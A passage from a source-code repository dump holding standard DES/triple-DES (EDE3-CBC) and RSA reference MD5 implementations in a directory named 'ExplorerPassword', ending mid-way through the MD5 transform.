| 0x04021008L,0x04121008L,0x04021108L,0x04121108L, 228 | },{ 229 | /* for D bits (numbered as per FIPS 46) 1 2 3 4 5 6 */ 230 | 0x00000000L,0x10000000L,0x00010000L,0x10010000L, 231 | 0x00000004L,0x10000004L,0x00010004L,0x10010004L, 232 | 0x20000000L,0x30000000L,0x20010000L,0x30010000L, 233 | 0x20000004L,0x30000004L,0x20010004L,0x30010004L, 234 | 0x00100000L,0x10100000L,0x00110000L,0x10110000L, 235 | 0x00100004L,0x10100004L,0x00110004L,0x10110004L, 236 | 0x20100000L,0x30100000L,0x20110000L,0x30110000L, 237 | 0x20100004L,0x30100004L,0x20110004L,0x30110004L, 238 | 0x00001000L,0x10001000L,0x00011000L,0x10011000L, 239 | 0x00001004L,0x10001004L,0x00011004L,0x10011004L, 240 | 0x20001000L,0x30001000L,0x20011000L,0x30011000L, 241 | 0x20001004L,0x30001004L,0x20011004L,0x30011004L, 242 | 0x00101000L,0x10101000L,0x00111000L,0x10111000L, 243 | 0x00101004L,0x10101004L,0x00111004L,0x10111004L, 244 | 0x20101000L,0x30101000L,0x20111000L,0x30111000L, 245 | 0x20101004L,0x30101004L,0x20111004L,0x30111004L, 246 | },{ 247 | /* for D bits (numbered as per FIPS 46) 8 9 11 12 13 14 */ 248 | 0x00000000L,0x08000000L,0x00000008L,0x08000008L, 249 | 0x00000400L,0x08000400L,0x00000408L,0x08000408L, 250 | 0x00020000L,0x08020000L,0x00020008L,0x08020008L, 251 | 0x00020400L,0x08020400L,0x00020408L,0x08020408L, 252 | 0x00000001L,0x08000001L,0x00000009L,0x08000009L, 253 | 0x00000401L,0x08000401L,0x00000409L,0x08000409L, 254 | 0x00020001L,0x08020001L,0x00020009L,0x08020009L, 255 | 0x00020401L,0x08020401L,0x00020409L,0x08020409L, 256 | 0x02000000L,0x0A000000L,0x02000008L,0x0A000008L, 257 | 0x02000400L,0x0A000400L,0x02000408L,0x0A000408L, 258 | 0x02020000L,0x0A020000L,0x02020008L,0x0A020008L, 259 | 0x02020400L,0x0A020400L,0x02020408L,0x0A020408L, 260 | 0x02000001L,0x0A000001L,0x02000009L,0x0A000009L, 261 | 0x02000401L,0x0A000401L,0x02000409L,0x0A000409L, 262 | 0x02020001L,0x0A020001L,0x02020009L,0x0A020009L, 263 | 0x02020401L,0x0A020401L,0x02020409L,0x0A020409L, 264 | },{ 265 | /* for D bits (numbered as per FIPS 46) 16 17 18 19 20 21 */ 266 | 0x00000000L,0x00000100L,0x00080000L,0x00080100L, 267 | 0x01000000L,0x01000100L,0x01080000L,0x01080100L, 268 | 0x00000010L,0x00000110L,0x00080010L,0x00080110L, 269 | 0x01000010L,0x01000110L,0x01080010L,0x01080110L, 270 | 0x00200000L,0x00200100L,0x00280000L,0x00280100L, 271 | 0x01200000L,0x01200100L,0x01280000L,0x01280100L, 272 | 0x00200010L,0x00200110L,0x00280010L,0x00280110L, 273 | 0x01200010L,0x01200110L,0x01280010L,0x01280110L, 274 | 0x00000200L,0x00000300L,0x00080200L,0x00080300L, 275 | 0x01000200L,0x01000300L,0x01080200L,0x01080300L, 276 | 0x00000210L,0x00000310L,0x00080210L,0x00080310L, 277 | 0x01000210L,0x01000310L,0x01080210L,0x01080310L, 278 | 0x00200200L,0x00200300L,0x00280200L,0x00280300L, 279 | 0x01200200L,0x01200300L,0x01280200L,0x01280300L, 280 | 0x00200210L,0x00200310L,0x00280210L,0x00280310L, 281 | 0x01200210L,0x01200310L,0x01280210L,0x01280310L, 282 | },{ 283 | /* for D bits (numbered as per FIPS 46) 22 23 24 25 27 28 */ 284 | 0x00000000L,0x04000000L,0x00040000L,0x04040000L, 285 | 0x00000002L,0x04000002L,0x00040002L,0x04040002L, 286 | 0x00002000L,0x04002000L,0x00042000L,0x04042000L, 287 | 0x00002002L,0x04002002L,0x00042002L,0x04042002L, 288 | 0x00000020L,0x04000020L,0x00040020L,0x04040020L, 289 | 0x00000022L,0x04000022L,0x00040022L,0x04040022L, 290 | 0x00002020L,0x04002020L,0x00042020L,0x04042020L, 291 | 0x00002022L,0x04002022L,0x00042022L,0x04042022L, 292 | 0x00000800L,0x04000800L,0x00040800L,0x04040800L, 293 | 0x00000802L,0x04000802L,0x00040802L,0x04040802L, 294 | 0x00002800L,0x04002800L,0x00042800L,0x04042800L, 295 | 0x00002802L,0x04002802L,0x00042802L,0x04042802L, 296 | 0x00000820L,0x04000820L,0x00040820L,0x04040820L, 297 | 0x00000822L,0x04000822L,0x00040822L,0x04040822L, 298 | 0x00002820L,0x04002820L,0x00042820L,0x04042820L, 299 | 0x00002822L,0x04002822L,0x00042822L,0x04042822L, 300 | }}; 301 | 302 | 303 | void DES_set_key_unchecked(const_DES_cblock *key, DES_key_schedule *schedule) 304 | { 305 | static int shifts2[16]={0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0}; 306 | register DES_LONG c,d,t,s,t2; 307 | register const unsigned char *in; 308 | register DES_LONG *k; 309 | register int i; 310 | 311 | k = &schedule->ks->deslong[0]; 312 | in = &(*key)[0]; 313 | 314 | c2l(in,c); 315 | c2l(in,d); 316 | 317 | /* do PC1 in 47 simple operations :-) 318 | * Thanks to John Fletcher (john_fletcher@lccmail.ocf.llnl.gov) 319 | * for the inspiration. :-) */ 320 | PERM_OP (d,c,t,4,0x0f0f0f0fL); 321 | HPERM_OP(c,t,-2,0xcccc0000L); 322 | HPERM_OP(d,t,-2,0xcccc0000L); 323 | PERM_OP (d,c,t,1,0x55555555L); 324 | PERM_OP (c,d,t,8,0x00ff00ffL); 325 | PERM_OP (d,c,t,1,0x55555555L); 326 | d= (((d&0x000000ffL)<<16L)| (d&0x0000ff00L) | 327 | ((d&0x00ff0000L)>>16L)|((c&0xf0000000L)>>4L)); 328 | c&=0x0fffffffL; 329 | 330 | for (i=0; i>2L)|(c<<26L)); d=((d>>2L)|(d<<26L)); } 334 | else 335 | { c=((c>>1L)|(c<<27L)); d=((d>>1L)|(d<<27L)); } 336 | c&=0x0fffffffL; 337 | d&=0x0fffffffL; 338 | /* could be a few less shifts but I am to lazy at this 339 | * point in time to investigate */ 340 | s= des_skb[0][ (c )&0x3f ]| 341 | des_skb[1][((c>> 6L)&0x03)|((c>> 7L)&0x3c)]| 342 | des_skb[2][((c>>13L)&0x0f)|((c>>14L)&0x30)]| 343 | des_skb[3][((c>>20L)&0x01)|((c>>21L)&0x06) | 344 | ((c>>22L)&0x38)]; 345 | t= des_skb[4][ (d )&0x3f ]| 346 | des_skb[5][((d>> 7L)&0x03)|((d>> 8L)&0x3c)]| 347 | des_skb[6][ (d>>15L)&0x3f ]| 348 | des_skb[7][((d>>21L)&0x0f)|((d>>22L)&0x30)]; 349 | 350 | /* table contained 0213 4657 */ 351 | t2=((t<<16L)|(s&0x0000ffffL))&0xffffffffL; 352 | *(k++)=ROTATE(t2,30)&0xffffffffL; 353 | 354 | t2=((s>>16L)|(t&0xffff0000L)); 355 | *(k++)=ROTATE(t2,26)&0xffffffffL; 356 | } 357 | } 358 | 359 | 360 | void DES_encrypt2(DES_LONG *data, DES_key_schedule *ks, int enc) 361 | { 362 | register DES_LONG l,r,t,u; 363 | #ifdef DES_PTR 364 | register const unsigned char *des_SP=(const unsigned char *)DES_SPtrans; 365 | #endif 366 | #ifndef DES_UNROLL 367 | register int i; 368 | #endif 369 | register DES_LONG *s; 370 | 371 | r=data[0]; 372 | l=data[1]; 373 | 374 | /* Things have been modified so that the initial rotate is 375 | * done outside the loop. This required the 376 | * DES_SPtrans values in sp.h to be rotated 1 bit to the right. 377 | * One perl script later and things have a 5% speed up on a sparc2. 378 | * Thanks to Richard Outerbridge <71755.204@CompuServe.COM> 379 | * for pointing this out. */ 380 | /* clear the top bits on machines with 8byte longs */ 381 | r=ROTATE(r,29)&0xffffffffL; 382 | l=ROTATE(l,29)&0xffffffffL; 383 | 384 | s=ks->ks->deslong; 385 | /* I don't know if it is worth the effort of loop unrolling the 386 | * inner loop */ 387 | if (enc) 388 | { 389 | #ifdef DES_UNROLL 390 | D_ENCRYPT(l,r, 0); /* 1 */ 391 | D_ENCRYPT(r,l, 2); /* 2 */ 392 | D_ENCRYPT(l,r, 4); /* 3 */ 393 | D_ENCRYPT(r,l, 6); /* 4 */ 394 | D_ENCRYPT(l,r, 8); /* 5 */ 395 | D_ENCRYPT(r,l,10); /* 6 */ 396 | D_ENCRYPT(l,r,12); /* 7 */ 397 | D_ENCRYPT(r,l,14); /* 8 */ 398 | D_ENCRYPT(l,r,16); /* 9 */ 399 | D_ENCRYPT(r,l,18); /* 10 */ 400 | D_ENCRYPT(l,r,20); /* 11 */ 401 | D_ENCRYPT(r,l,22); /* 12 */ 402 | D_ENCRYPT(l,r,24); /* 13 */ 403 | D_ENCRYPT(r,l,26); /* 14 */ 404 | D_ENCRYPT(l,r,28); /* 15 */ 405 | D_ENCRYPT(r,l,30); /* 16 */ 406 | #else 407 | for (i=0; i<32; i+=8) 408 | { 409 | D_ENCRYPT(l,r,i+0); /* 1 */ 410 | D_ENCRYPT(r,l,i+2); /* 2 */ 411 | D_ENCRYPT(l,r,i+4); /* 3 */ 412 | D_ENCRYPT(r,l,i+6); /* 4 */ 413 | } 414 | #endif 415 | } 416 | else 417 | { 418 | #ifdef DES_UNROLL 419 | D_ENCRYPT(l,r,30); /* 16 */ 420 | D_ENCRYPT(r,l,28); /* 15 */ 421 | D_ENCRYPT(l,r,26); /* 14 */ 422 | D_ENCRYPT(r,l,24); /* 13 */ 423 | D_ENCRYPT(l,r,22); /* 12 */ 424 | D_ENCRYPT(r,l,20); /* 11 */ 425 | D_ENCRYPT(l,r,18); /* 10 */ 426 | D_ENCRYPT(r,l,16); /* 9 */ 427 | D_ENCRYPT(l,r,14); /* 8 */ 428 | D_ENCRYPT(r,l,12); /* 7 */ 429 | D_ENCRYPT(l,r,10); /* 6 */ 430 | D_ENCRYPT(r,l, 8); /* 5 */ 431 | D_ENCRYPT(l,r, 6); /* 4 */ 432 | D_ENCRYPT(r,l, 4); /* 3 */ 433 | D_ENCRYPT(l,r, 2); /* 2 */ 434 | D_ENCRYPT(r,l, 0); /* 1 */ 435 | #else 436 | for (i=30; i>0; i-=8) 437 | { 438 | D_ENCRYPT(l,r,i-0); /* 16 */ 439 | D_ENCRYPT(r,l,i-2); /* 15 */ 440 | D_ENCRYPT(l,r,i-4); /* 14 */ 441 | D_ENCRYPT(r,l,i-6); /* 13 */ 442 | } 443 | #endif 444 | } 445 | /* rotate and clear the top bits on machines with 8byte longs */ 446 | data[0]=ROTATE(l,3)&0xffffffffL; 447 | data[1]=ROTATE(r,3)&0xffffffffL; 448 | l=r=t=u=0; 449 | } 450 | 451 | void DES_encrypt3(DES_LONG *data, DES_key_schedule *ks1, 452 | DES_key_schedule *ks2, DES_key_schedule *ks3) 453 | { 454 | register DES_LONG l,r; 455 | 456 | l=data[0]; 457 | r=data[1]; 458 | IP(l,r); 459 | data[0]=l; 460 | data[1]=r; 461 | DES_encrypt2((DES_LONG *)data,ks1,DES_ENCRYPT); 462 | DES_encrypt2((DES_LONG *)data,ks2,DES_DECRYPT); 463 | DES_encrypt2((DES_LONG *)data,ks3,DES_ENCRYPT); 464 | l=data[0]; 465 | r=data[1]; 466 | FP(r,l); 467 | data[0]=l; 468 | data[1]=r; 469 | } 470 | 471 | void DES_decrypt3(DES_LONG *data, DES_key_schedule *ks1, 472 | DES_key_schedule *ks2, DES_key_schedule *ks3) 473 | { 474 | register DES_LONG l,r; 475 | 476 | l=data[0]; 477 | r=data[1]; 478 | IP(l,r); 479 | data[0]=l; 480 | data[1]=r; 481 | DES_encrypt2((DES_LONG *)data,ks3,DES_DECRYPT); 482 | DES_encrypt2((DES_LONG *)data,ks2,DES_ENCRYPT); 483 | DES_encrypt2((DES_LONG *)data,ks1,DES_DECRYPT); 484 | l=data[0]; 485 | r=data[1]; 486 | FP(r,l); 487 | data[0]=l; 488 | data[1]=r; 489 | } 490 | 491 | void DES_ede3_cbc_encrypt(const unsigned char *input, unsigned char *output, 492 | long length, DES_key_schedule *ks1, 493 | DES_key_schedule *ks2, DES_key_schedule *ks3, 494 | DES_cblock *ivec, int enc) 495 | { 496 | register DES_LONG tin0,tin1; 497 | register DES_LONG tout0,tout1,xor0,xor1; 498 | register const unsigned char *in; 499 | unsigned char *out; 500 | register long l=length; 501 | DES_LONG tin[2]; 502 | unsigned char *iv; 503 | 504 | in=input; 505 | out=output; 506 | iv = &(*ivec)[0]; 507 | 508 | if (enc) 509 | { 510 | c2l(iv,tout0); 511 | c2l(iv,tout1); 512 | for (l-=8; l>=0; l-=8) 513 | { 514 | c2l(in,tin0); 515 | c2l(in,tin1); 516 | tin0^=tout0; 517 | tin1^=tout1; 518 | 519 | tin[0]=tin0; 520 | tin[1]=tin1; 521 | DES_encrypt3((DES_LONG *)tin,ks1,ks2,ks3); 522 | tout0=tin[0]; 523 | tout1=tin[1]; 524 | 525 | l2c(tout0,out); 526 | l2c(tout1,out); 527 | } 528 | if (l != -8) 529 | { 530 | c2ln(in,tin0,tin1,l+8); 531 | tin0^=tout0; 532 | tin1^=tout1; 533 | 534 | tin[0]=tin0; 535 | tin[1]=tin1; 536 | DES_encrypt3((DES_LONG *)tin,ks1,ks2,ks3); 537 | tout0=tin[0]; 538 | tout1=tin[1]; 539 | 540 | l2c(tout0,out); 541 | l2c(tout1,out); 542 | } 543 | iv = &(*ivec)[0]; 544 | l2c(tout0,iv); 545 | l2c(tout1,iv); 546 | } 547 | else 548 | { 549 | register DES_LONG t0,t1; 550 | 551 | c2l(iv,xor0); 552 | c2l(iv,xor1); 553 | for (l-=8; l>=0; l-=8) 554 | { 555 | c2l(in,tin0); 556 | c2l(in,tin1); 557 | 558 | t0=tin0; 559 | t1=tin1; 560 | 561 | tin[0]=tin0; 562 | tin[1]=tin1; 563 | DES_decrypt3((DES_LONG *)tin,ks1,ks2,ks3); 564 | tout0=tin[0]; 565 | tout1=tin[1]; 566 | 567 | tout0^=xor0; 568 | tout1^=xor1; 569 | l2c(tout0,out); 570 | l2c(tout1,out); 571 | xor0=t0; 572 | xor1=t1; 573 | } 574 | if (l != -8) 575 | { 576 | c2l(in,tin0); 577 | c2l(in,tin1); 578 | 579 | t0=tin0; 580 | t1=tin1; 581 | 582 | tin[0]=tin0; 583 | tin[1]=tin1; 584 | DES_decrypt3((DES_LONG *)tin,ks1,ks2,ks3); 585 | tout0=tin[0]; 586 | tout1=tin[1]; 587 | 588 | tout0^=xor0; 589 | tout1^=xor1; 590 | l2cn(tout0,tout1,out,l+8); 591 | xor0=t0; 592 | xor1=t1; 593 | } 594 | 595 | iv = &(*ivec)[0]; 596 | l2c(xor0,iv); 597 | l2c(xor1,iv); 598 | } 599 | tin0=tin1=tout0=tout1=xor0=xor1=0; 600 | tin[0]=tin[1]=0; 601 | } -------------------------------------------------------------------------------- /ExplorerPassword/des.h: -------------------------------------------------------------------------------- 1 | 2 | #define DES_LONG unsigned int 3 | 4 | #define ITERATIONS 16 5 | #define HALF_ITERATIONS 8 6 | 7 | #define ROTATE(a,n) (((a)>>(n))+((a)<<(32-(n)))) 8 | 9 | #define c2l(c,l) (l =((DES_LONG)(*((c)++))) , \ 10 | l|=((DES_LONG)(*((c)++)))<< 8L, \ 11 | l|=((DES_LONG)(*((c)++)))<<16L, \ 12 | l|=((DES_LONG)(*((c)++)))<<24L) 13 | 14 | #define l2c(l,c) (*((c)++)=(unsigned char)(((l) )&0xff), \ 15 | *((c)++)=(unsigned char)(((l)>> 8L)&0xff), \ 16 | *((c)++)=(unsigned char)(((l)>>16L)&0xff), \ 17 | *((c)++)=(unsigned char)(((l)>>24L)&0xff)) 18 | 19 | #define c2ln(c,l1,l2,n) { \ 20 | c+=n; \ 21 | l1=l2=0; \ 22 | switch (n) { \ 23 | case 8: l2 =((DES_LONG)(*(--(c))))<<24L; \ 24 | case 7: l2|=((DES_LONG)(*(--(c))))<<16L; \ 25 | case 6: l2|=((DES_LONG)(*(--(c))))<< 8L; \ 26 | case 5: l2|=((DES_LONG)(*(--(c)))); \ 27 | case 4: l1 =((DES_LONG)(*(--(c))))<<24L; \ 28 | case 3: l1|=((DES_LONG)(*(--(c))))<<16L; \ 29 | case 2: l1|=((DES_LONG)(*(--(c))))<< 8L; \ 30 | case 1: l1|=((DES_LONG)(*(--(c)))); \ 31 | } \ 32 | } 33 | 34 | #define l2cn(l1,l2,c,n) { \ 35 | c+=n; \ 36 | switch (n) { \ 37 | case 8: *(--(c))=(unsigned char)(((l2)>>24L)&0xff); \ 38 | case 7: *(--(c))=(unsigned char)(((l2)>>16L)&0xff); \ 39 | case 6: *(--(c))=(unsigned char)(((l2)>> 8L)&0xff); \ 40 | case 5: *(--(c))=(unsigned char)(((l2) )&0xff); \ 41 | case 4: *(--(c))=(unsigned char)(((l1)>>24L)&0xff); \ 42 | case 3: *(--(c))=(unsigned char)(((l1)>>16L)&0xff); \ 43 | case 2: *(--(c))=(unsigned char)(((l1)>> 8L)&0xff); \ 44 | case 1: *(--(c))=(unsigned char)(((l1) )&0xff); \ 45 | } \ 46 | } 47 | 48 | #define PERM_OP(a,b,t,n,m) ((t)=((((a)>>(n))^(b))&(m)), (b)^=(t), (a)=((a)^((t)<<(n)))) 49 | 50 | #define HPERM_OP(a,t,n,m) ((t)=((((a)<<(16-(n)))^(a))&(m)), (a)=(a)^(t)^(t>>(16-(n)))) 51 | 52 | #define IP(l,r) \ 53 | { \ 54 | register DES_LONG tt; \ 55 | PERM_OP(r,l,tt, 4,0x0f0f0f0fL); \ 56 | PERM_OP(l,r,tt,16,0x0000ffffL); \ 57 | PERM_OP(r,l,tt, 2,0x33333333L); \ 58 | PERM_OP(l,r,tt, 8,0x00ff00ffL); \ 59 | PERM_OP(r,l,tt, 1,0x55555555L); \ 60 | } 61 | 62 | #define FP(l,r) \ 63 | { \ 64 | register DES_LONG tt; \ 65 | PERM_OP(l,r,tt, 1,0x55555555L); \ 66 | PERM_OP(r,l,tt, 8,0x00ff00ffL); \ 67 | PERM_OP(l,r,tt, 2,0x33333333L); \ 68 | PERM_OP(r,l,tt,16,0x0000ffffL); \ 69 | PERM_OP(l,r,tt, 4,0x0f0f0f0fL); \ 70 | } 71 | 72 | #define LOAD_DATA_tmp(a,b,c,d,e,f) LOAD_DATA(a,b,c,d,e,f,g) 73 | #define LOAD_DATA(R,S,u,t,E0,E1,tmp) \ 74 | u=R^s[S ]; \ 75 | t=R^s[S+1] 76 | 77 | #define D_ENCRYPT(LL,R,S) {\ 78 | LOAD_DATA_tmp(R,S,u,t,E0,E1); \ 79 | t=ROTATE(t,4); \ 80 | LL^=\ 81 | DES_SPtrans[0][(u>> 2L)&0x3f]^ \ 82 | DES_SPtrans[2][(u>>10L)&0x3f]^ \ 83 | DES_SPtrans[4][(u>>18L)&0x3f]^ \ 84 | DES_SPtrans[6][(u>>26L)&0x3f]^ \ 85 | DES_SPtrans[1][(t>> 2L)&0x3f]^ \ 86 | DES_SPtrans[3][(t>>10L)&0x3f]^ \ 87 | DES_SPtrans[5][(t>>18L)&0x3f]^ \ 88 | DES_SPtrans[7][(t>>26L)&0x3f]; } 89 | 90 | extern const DES_LONG DES_SPtrans[8][64]; 91 | 92 | typedef unsigned char DES_cblock[8]; 93 | typedef /* const */ unsigned char const_DES_cblock[8]; 94 | 95 | typedef struct DES_ks 96 | { 97 | union 98 | { 99 | DES_cblock cblock; 100 | /* make sure things are correct size on machines with 101 | * 8 byte longs */ 102 | DES_LONG deslong[2]; 103 | } ks[16]; 104 | } DES_key_schedule; 105 | 106 | #define DES_KEY_SZ (sizeof(DES_cblock)) 107 | #define DES_SCHEDULE_SZ (sizeof(DES_key_schedule)) 108 | 109 | #define DES_ENCRYPT 1 110 | #define DES_DECRYPT 0 111 | 112 | #define DES_CBC_MODE 0 113 | #define DES_PCBC_MODE 1 114 | 115 | void DES_set_key_unchecked(const_DES_cblock *key,DES_key_schedule *schedule); 116 | void DES_ede3_cbc_encrypt(const unsigned char *input,unsigned char *output, 117 | long length, 118 | DES_key_schedule *ks1,DES_key_schedule *ks2, 119 | DES_key_schedule *ks3,DES_cblock *ivec,int enc); -------------------------------------------------------------------------------- /ExplorerPassword/md5.cpp: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | ********************************************************************** 4 | ** md5.c ** 5 | ** RSA Data Security, Inc. MD5 Message Digest Algorithm ** 6 | ** Created: 2/17/90 RLR ** 7 | ** Revised: 1/91 SRD,AJ,BSK,JT Reference C Version ** 8 | ********************************************************************** 9 | */ 10 | 11 | /* 12 | ********************************************************************** 13 | ** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. ** 14 | ** ** 15 | ** License to copy and use this software is granted provided that ** 16 | ** it is identified as the "RSA Data Security, Inc. MD5 Message ** 17 | ** Digest Algorithm" in all material mentioning or referencing this ** 18 | ** software or this function. ** 19 | ** ** 20 | ** License is also granted to make and use derivative works ** 21 | ** provided that such works are identified as "derived from the RSA ** 22 | ** Data Security, Inc. MD5 Message Digest Algorithm" in all ** 23 | ** material mentioning or referencing the derived work. ** 24 | ** ** 25 | ** RSA Data Security, Inc. makes no representations concerning ** 26 | ** either the merchantability of this software or the suitability ** 27 | ** of this software for any particular purpose. It is provided "as ** 28 | ** is" without express or implied warranty of any kind. ** 29 | ** ** 30 | ** These notices must be retained in any copies of any part of this ** 31 | ** documentation and/or software. ** 32 | ********************************************************************** 33 | */ 34 | 35 | /* -- include the following line if the md5.h header file is separate -- */ 36 | #include 37 | #include 38 | 39 | #include "md5.h" 40 | 41 | /* forward declaration */ 42 | static void Transform(UINT4 *buf, UINT4 *in); 43 | 44 | static unsigned char PADDING[64] = { 45 | 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 53 | }; 54 | 55 | /* F, G and H are basic MD5 functions: selection, majority, parity */ 56 | #define F(x, y, z) (((x) & (y)) | ((~x) & (z))) 57 | #define G(x, y, z) (((x) & (z)) | ((y) & (~z))) 58 | #define H(x, y, z) ((x) ^ (y) ^ (z)) 59 | #define I(x, y, z) ((y) ^ ((x) | (~z))) 60 | 61 | /* ROTATE_LEFT rotates x left n bits */ 62 | #define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n)))) 63 | 64 | /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */ 65 | /* Rotation is separate from addition to prevent recomputation */ 66 | #define FF(a, b, c, d, x, s, ac) \ 67 | {(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \ 68 | (a) = ROTATE_LEFT ((a), (s)); \ 69 | (a) += (b); \ 70 | } 71 | #define GG(a, b, c, d, x, s, ac) \ 72 | {(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \ 73 | (a) = ROTATE_LEFT ((a), (s)); \ 74 | (a) += (b); \ 75 | } 76 | #define HH(a, b, c, d, x, s, ac) \ 77 | {(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \ 78 | (a) = ROTATE_LEFT ((a), (s)); \ 79 | (a) += (b); \ 80 | } 81 | #define II(a, b, c, d, x, s, ac) \ 82 | {(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \ 83 | (a) = ROTATE_LEFT ((a), (s)); \ 84 | (a) += (b); \ 85 | } 86 | 87 | void MD5Init(MD5_CTX *mdContext) 88 | { 89 | mdContext->i[0] = mdContext->i[1] = (UINT4)0; 90 | 91 | /* Load magic initialization constants. 92 | */ 93 | mdContext->buf[0] = (UINT4)0x67452301; 94 | mdContext->buf[1] = (UINT4)0xefcdab89; 95 | mdContext->buf[2] = (UINT4)0x98badcfe; 96 | mdContext->buf[3] = (UINT4)0x10325476; 97 | } 98 | 99 | void MD5Update(MD5_CTX *mdContext, unsigned char *inBuf, unsigned int inLen) 100 | { 101 | UINT4 in[16]; 102 | int mdi; 103 | unsigned int i, ii; 104 | 105 | /* compute number of bytes mod 64 */ 106 | mdi = (int)((mdContext->i[0] >> 3) & 0x3F); 107 | 108 | /* update number of bits */ 109 | if ((mdContext->i[0] + ((UINT4)inLen << 3)) < mdContext->i[0]) 110 | mdContext->i[1]++; 111 | mdContext->i[0] += ((UINT4)inLen << 3); 112 | mdContext->i[1] += ((UINT4)inLen >> 29); 113 | 114 | while (inLen--) { 115 | /* add new character to buffer, increment mdi */ 116 | mdContext->in[mdi++] = *inBuf++; 117 | 118 | /* transform if necessary */ 119 | if (mdi == 0x40) { 120 | for (i = 0, ii = 0; i < 16; i++, ii += 4) 121 | in[i] = (((UINT4)mdContext->in[ii+3]) << 24) | 122 | (((UINT4)mdContext->in[ii+2]) << 16) | 123 | (((UINT4)mdContext->in[ii+1]) << 8) | 124 | ((UINT4)mdContext->in[ii]); 125 | Transform (mdContext->buf, in); 126 | mdi = 0; 127 | } 128 | } 129 | } 130 | 131 | void MD5Final(MD5_CTX *mdContext) 132 | { 133 | UINT4 in[16]; 134 | int mdi; 135 | unsigned int i, ii; 136 | unsigned int padLen; 137 | 138 | /* save number of bits */ 139 | in[14] = mdContext->i[0]; 140 | in[15] = mdContext->i[1]; 141 | 142 | /* compute number of bytes mod 64 */ 143 | mdi = (int)((mdContext->i[0] >> 3) & 0x3F); 144 | 145 | /* pad out to 56 mod 64 */ 146 | padLen = (mdi < 56) ? (56 - mdi) : (120 - mdi); 147 | MD5Update (mdContext, PADDING, padLen); 148 | 149 | /* append length in bits and transform */ 150 | for (i = 0, ii = 0; i < 14; i++, ii += 4) 151 | in[i] = (((UINT4)mdContext->in[ii+3]) << 24) | 152 | (((UINT4)mdContext->in[ii+2]) << 16) | 153 | (((UINT4)mdContext->in[ii+1]) << 8) | 154 | ((UINT4)mdContext->in[ii]); 155 | Transform (mdContext->buf, in); 156 | 157 | /* store buffer in digest */ 158 | for (i = 0, ii = 0; i < 4; i++, ii += 4) { 159 | mdContext->digest[ii] = (unsigned char)(mdContext->buf[i] & 0xFF); 160 | mdContext->digest[ii+1] = 161 | (unsigned char)((mdContext->buf[i] >> 8) & 0xFF); 162 | mdContext->digest[ii+2] = 163 | (unsigned char)((mdContext->buf[i] >> 16) & 0xFF); 164 | mdContext->digest[ii+3] = 165 | (unsigned char)((mdContext->buf[i] >> 24) & 0xFF); 166 | } 167 | } 168 | 169 | /* Basic MD5 step. Transform buf based on in. 170 | */ 171 | static void Transform(UINT4 *buf, UINT4 *in) 172 | { 173 | UINT4 a = buf[0], b = buf[1], c = buf[2], d = buf[3]; 174 | 175 | /* Round 1 */ 176 | #define S11 7 177 | #define S12 12 178 | #define S13 17 179 | #define S14 22 180 | FF ( a, b, c, d, in[ 0], S11, 3614090360); /* 1 */ 181 | FF ( d, a, b, c, in[ 1], S12, 3905402710); /* 2 */ 182 | FF ( c, d, a, b, in[ 2], S13, 606105819); /* 3 */ 183 | FF ( b, c, d, a, in[ 3], S14, 3250441966); /* 4 */ 184 | FF ( a, b, c, d, in[ 4], S11, 4118548399); /* 5 */ 185 | FF ( d, a, b, c, in[ 5], S12, 1200080426); /* 6 */ 186 | FF ( c, d, a, b, in[ 6], S13, 2821735955); /* 7 */ 187 | FF ( b, c, d, a, in[ 7], S14, 4249261313); /* 8 */ 188 | FF ( a, b, c, d, in[ 8], S11, 1770035416); /* 9 */ 189 | FF ( d, a, b, c, in[ 9], S12, 2336552879); /* 10 */ 190 | FF ( c, d, a, b, in[10], S13, 4294925233); /* 11 */ 191 | FF ( b, c, d, a, in[11], S14, 2304563134); /* 12 */ 192 | FF ( a, b, c, d, in[12], S11, 1804603682); /* 13 */ 193 | FF ( d, a, b, c, in[13], S12, 4254626195); /* 14 */ 194 | FF ( c, d, a, b, in[14], S13, 2792965006); /* 15 */ 195 | FF ( b, c, d, a, in[15], S14, 1236535329); /* 16 */ 196 | 197 | /* Round 2 */ 198 | #define S21 5 199 | #define S22 9 200 | #define S23 14 201 | #define S24 20 202 | GG ( a, b, c, d, in[ 1], S21, 4129170786); /* 17 */ 203 | GG ( d, a, b, c, in[ 6], S22, 3225465664); /* 18 */ 204 | GG ( c, d, a, b, in[11], S23, 643717713); /* 19 */ 205 | GG ( b, c, d, a, in[ 0], S24, 3921069994); /* 20 */ 206 | GG ( a, b, c, d, in[ 5], S21, 3593408605); /* 21 */ 207 | GG ( d, a, b, c, in[10], S22, 38016083); /* 22 */ 208 | GG ( c, d, a, b, in[15], S23, 3634488961); /* 23 */ 209 | GG ( b, c, d, a, in[ 4], S24, 3889429448); /* 24 */ 210 | GG ( a, b, c, d, in[ 9], S21, 568446438); /* 25 */ 211 | GG ( d, a, b, c, in[14], S22, 3275163606); /* 26 */ 212 | GG ( c, d, a, b, in[ 3], S23, 4107603335); /* 27 */ 213 | GG ( b, c, d, a, in[ 8], S24, 1163531501); /* 28 */ 214 | GG ( a, b, c, d, in[13], S21, 2850285829); /* 29 */ 215 | GG ( d, a, b, c, in[ 2], S22, 4243563512); /* 30 */ 216 | GG ( c, d, a, b, in[ 7], S23, 1735328473); /* 31 */ 217 | GG ( b, c, d, a, in[12], S24, 2368359562); /* 32 */ 218 | 219 | /* Round 3 */ 220 | #define S31 4 221 | #define S32 11 222 | #define S33 16 223 | #define S34 23 224 | HH ( a, b, c, d, in[ 5], 